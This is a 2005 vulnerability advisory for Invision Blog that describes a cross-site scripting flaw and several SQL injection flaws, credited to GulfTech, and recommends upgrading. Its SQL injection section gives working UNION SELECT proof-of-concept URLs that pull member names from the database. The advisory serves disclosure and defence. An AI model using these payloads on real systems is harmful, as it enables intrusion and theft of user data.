Are you looking to have your application properly secured by an experienced professional? Contact us today for a free private consultation. We specialize in web application security, mobile security, and also offer general consultation services. Click here for more information regarding all of our security services.
Invision Blog Multiple Vulnerabilities
Vendor: Invision Power Services
Product: Invision Blog
Version: <= 1.1.2 Final
Website: http://www.invisionblog.com
BID: 13910
CVE: CVE-2005-1945 CVE-2005-1946
OSVDB: 17210 17211
SECUNIA: 15626
PACKETSTORM: 38143
Description:
Invision Blog is a community based blogging software that can be integrated into Invision Power Board. There are several dangerous SQL Injection vulnerabilities, as well as a cross site scripting vulnerability. These vulnerabilities could allow for an attacker to gain access to sensitive data such as password information and render hostile script in the context of a victims browser which could lead to disclosure of sensitive data such as cookie data.


Cross Site Scripting:
There is a cross site scripting issue in Invision Blog that may allow for an attacker to render hostile client side code in a users browser. The vulnerable function convert_highlite_words() doesn't properly sanitize data returned by urldecode() and can be taken advantage of by double hex encoding highlight data.


SQL Injection:
There are a number of serious SQL Injection vulnerabilities in the Invision Blog software. Below are harmless examples that will pull a users name from the database.

http://localhost/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99
%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99
%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&
cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'

The last example is not very easy to exploit, but can be exploited with a bit of effort.


Solution:
Updated version of the Invision Blog software have been available for many weeks now. Users should upgrade as soon as possible. Special thanks to the guys at Invision for fixing these issues so quickly :)


Credits:
James Bercegay of the GulfTech Security Research Team